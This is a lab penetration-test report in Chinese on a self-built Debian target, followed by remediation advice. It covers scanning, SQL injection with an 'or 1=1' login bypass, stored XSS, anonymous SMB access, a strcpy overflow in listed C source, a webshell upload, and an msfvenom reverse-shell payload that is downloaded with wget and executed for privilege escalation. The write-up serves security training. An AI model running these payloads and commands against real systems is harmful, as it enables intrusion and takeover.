Debian 靶场渗透测试报告(含源码审计与缓冲区溢出分析)

本文为自建靶场环境(Kali 攻击机 192.168.11.128 → Debian 靶机 192.168.11.135)的练习记录,非真实业务系统。

执行摘要:目标开放 22/25/80/139/445/3306/7777。Web 侧从 /admin 后台入口发现 2 处 SQL 注入(post.php、profile.php)与 2 处存储型 XSS;用万能密码进入后台后,通过修改隐藏字段绕过前端限制上传 WebShell,取得系统权限;/repo 目录下审计源码发现 strcpy 栈溢出(7777 端口);最后用 MSF 后渗透模块完成提权。

结论:共 6 类风险,最高为高危(SQL 注入、任意文件上传、栈溢出),完整走通”Web 入口 → 系统权限 → 提权”三段。

信息收集

主机探测

  • 使用arp-scan -l发现目标靶机的IP地址是192.168.11.135。
1
arp-scan -l

image\.png

端口扫描

  • 使用nmap 192.168.11.135发现目标靶机开启了:22,25,80,139,445,3306,7777端口。
1
nmap -sV -T5 192.168.11.135

image\.png

目录扫描

  • 使用dirsearch -u "``http://192.168.11.13``5"扫描目标IP目录。
1
dirsearch -u "http://192.168.11.135"

image\.png

  • 使用dirb ``http://192.168.11.13``5/扫描目标IP目录。
1
dirb http://192.168.11.135/

image\.png

渗透阶段

Web漏洞

  • 刚刚通过端口扫描,发现目标靶机开放了80端口,试着访问一下。

image\.png

  • 看了一下是个博客的页面,加上之前扫过目录,找到了http://192.168.11.135/admin/路径,去访问一下试试看。

image\.png

  • 其中post.php看文件名应该是一个POST提交的表单格式,这里面很有可能会让用户自己输入提交一些数据。

image\.png

/admin/post.php目录下的SQL注入(2个)

  • 我们尝试在Username框中提交一个',发现数据库出现了报错,所以这里面很有可能存在SQL注入。

image\.png

  • 因为是表单格式的提交,所以我们使用BP抓一下请求包。

image\.png

  • 复制请求包,用sqlmap梭哈一下看看有什么结果。
1
2
cat debain.txt
sqlmap -r debain.txt --dbs

image\.png

  • 查看结果可以发现,sqlmap 仅返回盲注类 payload,确认注入存在但未能取到数据;这类盲注继续手工挖效率很低,所以换了思路。

image\.png

  • sqlmap给出的Payload都是关于盲注的,这样做效率太低了,也无法实现数据库的拖库,但是既然发现有SQL注入的漏洞,不如先用万能密码登录,因为之前的尝试发现没有登录好像是无法提交具体的BLOG内容的。

  • 先尝试了一下username的框发现并没有成功,但是尝试Password框发现成功登录:admin/aaa' or '1'='1。

image\.png

屏幕截图 2026\-01\-22 225337\.png

/admin/post.php目录下的存储型XSS

  • 通过2.2.1的SQL注入,现在我们可以发布自定义标题和内容的博客,我们在标题栏和内容栏输入<script>alert(1)</script>和<script>alert(2)</script>,点击发布。

image\.png

  • 回到博客展示页面(/myblog.php)发现只有内容栏发成了弹窗,所以这里只有内容栏存在存储型XSS。

image\.png

/admin/profile.php目录下的SQL注入(2个)

  • 与/admin/post.php目录下的SQL注入很像,我们还是先通过BP抓包。

image\.png

  • 还是丢到sqlmap里梭哈一下,以看到,和上个页面的结果差不多,也全是盲注。

image\.png

/admin/profile.php目录下的存储型XSS

  • 我们还是利用万能密码登录:admin/aaa' or '1'='1,发现可以直接登录成功,这样我们就可以提交表单内容了。

image\.png

image\.png

  • 所以在提交的内容框内插入XSS恶意代码:<script>alert(3)</script>。

image\.png

  • 回到博客展示页面(/myblog.php)发现成功弹窗,所以这里也存在存储型XSS。

image\.png

139/445端口:netbios-ssn服务

  • netbios-ssn服务中 允许 guest 匿名访问对方的共享资源,且 Samba 版本老旧,这是最高优先级目标,我们远程匿名访问一下。
1
smbclient -L //192.168.11.135 -N # N表示不需要密码

image\.png

  • 命令执行成功,获得了以下关键信息:

    • 匿名登录成功:目标主机(很可能是一台运行Samba服务的Debian系统服务器)配置存在安全隐患,其SMB服务允许无需密码的“匿名”用户连接。这是渗透测试中一个常见且重要的发现。

    • 发现的共享资源:

      • print$:这是一个磁盘共享,通常用于存储打印机驱动程序。

      • IPC$:这是一个进程间通信共享,用于远程管理和服务通信,是Windows/Samba系统的核心管理通道。

    • 网络环境信息:目标主机位于名为 WORKGROUP的工作组中,其计算机名很可能是 DEBIAN。

7777端口:缓冲区溢出漏洞

  • 之前扫目录的时候还扫到了/repo,进到这个目录下,我们可以看到有一个叫buffd的.c文件。

image\.png

  • 里面的内容如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define PORT "7777" // the port users will be connecting to

#define BACKLOG 10 // how many pending connections queue will hold

void vulnerable(char *net_buffer)
{
char local_buffer[120];
strcpy(local_buffer, net_buffer);
return;
}

void sigchld_handler(int s)
{
while(waitpid(-1, NULL, WNOHANG) > 0);
}

// get sockaddr, IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{
if (sa->sa_family == AF_INET) {
return &(((struct sockaddr_in*)sa)->sin_addr);
}

return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(void)
{
int sockfd, new_fd; // listen on sock_fd, new connection on new_fd
struct addrinfo hints, *servinfo, *p;
struct sockaddr_storage their_addr; // connector's address information
socklen_t sin_size;
struct sigaction sa;
int yes=1;
char in_buffer[20], out_buffer[20], net_buffer[2048];
char s[INET6_ADDRSTRLEN];
int rv;

memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE; // use my IP

if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
return 1;
}

// loop through all the results and bind to the first we can
for(p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype,
p->ai_protocol)) == -1) {
perror("server: socket");
continue;
}

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,
sizeof(int)) == -1) {
perror("setsockopt");
exit(1);
}

if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
close(sockfd);
perror("server: bind");
continue;
}

break;
}

if (p == NULL) {
fprintf(stderr, "server: failed to bind\n");
return 2;
}

freeaddrinfo(servinfo); // all done with this structure

if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}

sa.sa_handler = sigchld_handler; // reap all dead processes
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
if (sigaction(SIGCHLD, &sa, NULL) == -1) {
perror("sigaction");
exit(1);
}

printf("server: waiting for connections...\n");

while(1) { // main accept() loop
sin_size = sizeof their_addr;
new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size);
if (new_fd == -1) {
perror("accept");
continue;
}

inet_ntop(their_addr.ss_family,
get_in_addr((struct sockaddr *)&their_addr),
s, sizeof s);
printf("server: got connection from %s\n", s);

if (!fork()) { // this is the child process
close(sockfd); // child doesn't need the listener
memset(net_buffer, 0, 1024);
strcpy(out_buffer, "HELO\nCOMMAND:");
if (send(new_fd, out_buffer, strlen(out_buffer), 0) == -1)
perror("send");
if (recv(new_fd, net_buffer, 1024, 0))
{
vulnerable(net_buffer);
strcpy(out_buffer, "RECV: ");
strcat(out_buffer, net_buffer);
send(new_fd, out_buffer, strlen(out_buffer), 0);
}
close(new_fd);
exit(0);
}
close(new_fd); // parent doesn't need this
}

return 0;
}

代码审计

  • 大概浏览了一下代码的内容,发现这串代码实现了三个作用:

    1. 创建TCP服务器,监听7777端口。

    2. 接受客户端连接,并为每个连接fork子进程处理)。

    3. 接收和发送数据。

  • 其中用来实现第三个作用的代码,存在缓冲区溢出漏洞。

    1
    2
    3
    4
    5
    6
    void vulnerable(char *net_buffer)
    {
    char local_buffer[120]; // 只有120字节的缓冲区
    strcpy(local_buffer, net_buffer); // 没有边界检查,存在缓冲区溢出漏洞
    return;
    }
    • 使用不安全的strcpy函数。

    • 没有检查输入长度,容易导致缓冲区溢出攻击。

漏洞原理

  • 缓冲区溢出(Buffer Overflow)是一种常见且危险的漏洞,发生在程序试图向缓冲区写入超出其容量的数据时,导致数据溢出到相邻的内存空间。这种现象可能破坏程序的正常运行,甚至被攻击者利用来执行恶意代码或获取系统权限。

  • 缓冲区溢出的根本原因是程序未对用户输入进行严格检查。当数据超出缓冲区容量时,溢出的数据可能覆盖关键内存区域,如函数返回地址或局部变量,从而导致以下后果:

    • 程序崩溃或拒绝服务。

    • 执行恶意代码,攻击者可能通过修改返回地址使程序跳转到恶意代码位置。

    • 获取系统权限,攻击者可能通过溢出漏洞获得管理员权限,执行任意操作。

    • 例如,栈溢出是缓冲区溢出的一种常见形式,攻击者通过覆盖栈中的返回地址,控制程序的执行流程。

  • 攻击思路就是我们发送超出长度的数据导致原来的数据被覆盖,下一条执行命令的地址也被覆盖,在传入数据时将ShellCode一起传上去,将这段代码的起始地址覆盖原来原返回的地址。

说明

  • 【卡点】 这台靶机的二进制环境与利用脚本不匹配(glibc / 调试环境差异,返回地址难以稳定命中),没能把 PoC 推进到稳定的 RCE,所以这个漏洞的验证停在”确认栈溢出 → 输入可覆盖相邻内存”这一步。风险仍然成立(可导致进程崩溃,理论上可 RCE),但这里如实标注为未完成利用,不写成已打通。

RCE漏洞

  • 结合之前扫出的目录,可以发现一个/profiles目录,在这个目录下发现了,一些日志文件,它们的命名规则是随机数 + 用户名 + -- --sig.txt 结尾,并且可以打开查看内容。

image\.png

  • 结合之前在/admin页面下也有一个profile.php文件,所以我们合理怀疑它们存在关系,F12检查网站源码,发现存在一个type类型为hidden的输入框。

屏幕截图 2026\-01\-23 102745\.png

  • 直接将type类型改成text发现果然在网页上出现了

屏幕截图 2026\-01\-23 102943\.png

  • 可以发现,为文件加后缀的功能是在前端实现的,我们可以自由修改,所以这里我们是否可以远程植入一个代码,继续使用之前的万能密码绕过登录,然后将后缀名改为.php最后在内容框中上传我们的WebShell。

image\.png

  • 回到/profiles页面发现刚刚的文件已经上传成功了

屏幕截图 2026\-01\-23 103718\.png

  • 运行木马程序,配置好Antsword并测试连接,发现连接成功。

image\.png

提权阶段

  • 通过指令查看当前目标靶机的内核版本,准备通过内核漏洞提权。
1
uname -a

image\.png

  • 使用 Metasploit框架中的 msfvenom工具生成 Linux 恶意可执行文件的木马。
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=4444 -f elf -o exp.elf

image\.png

屏幕截图 2026\-01\-23 105349\.png

  • MSF控制台中打开监听模块并设置对应的参数。

image\.png

image\.png

image\.png

  • 启动Python服务方便在目标靶机上下载当前恶意脚本。
1
python3 -m http.server 8000

image\.png

  • 在目标靶机上下载当前文件,赋予执行权限并运行。
1
2
3
wget [http://192.168.11.128:8000/exp.elf](http://192.168.11.128:8000/exp.elf)
chmod 777 exp.elf
./exp.elf

image\.png

  • 可以看到MSF已经开始监听了,按 Ctrl + Z 把当前会话放到后台。

image\.png

  • 使用后渗透模块并设置参数。

image\.png

  • 运行发现,可以使用这些漏洞模块(显示为绿色的

69724c142d08d4bddaa75770\.png

  • 使用时要切换端口,避免占用,最后发现提权成功。

69724d2c2d08d4bddaa7584e\.png

69724d5c2d08d4bddaa75852\.png

总结与修复建议

根因

  1. /admin/post.php 与 /admin/profile.php 的查询由字符串拼接构造,未使用参数化;
  2. 用户提交的内容直接输出到博客展示页,未按上下文做 HTML 编码;
  3. 关键限制写在前端(type="hidden" 字段 + 前端拼接后缀),服务端未复核,因此可被直接篡改;
  4. Samba 允许匿名访问且版本老旧;
  5. buffd.c 使用 strcpy 且未校验长度。

修复

  • SQL 注入:全部改为参数化查询(预编译),禁止拼接 SQL 字符串;
  • XSS:按输出上下文做实体编码,并配合 CSP;
  • 上传:服务端白名单校验后缀 + 文件内容检测 + 随机重命名 + 上传目录禁止解析;
  • 前端限制不可信:任何 hidden 字段、前端校验都必须在服务端重新校验一次;
  • Samba:关闭匿名访问、升级到受支持版本;
  • 栈溢出:改用 strncpy / snprintf,并对输入长度做校验。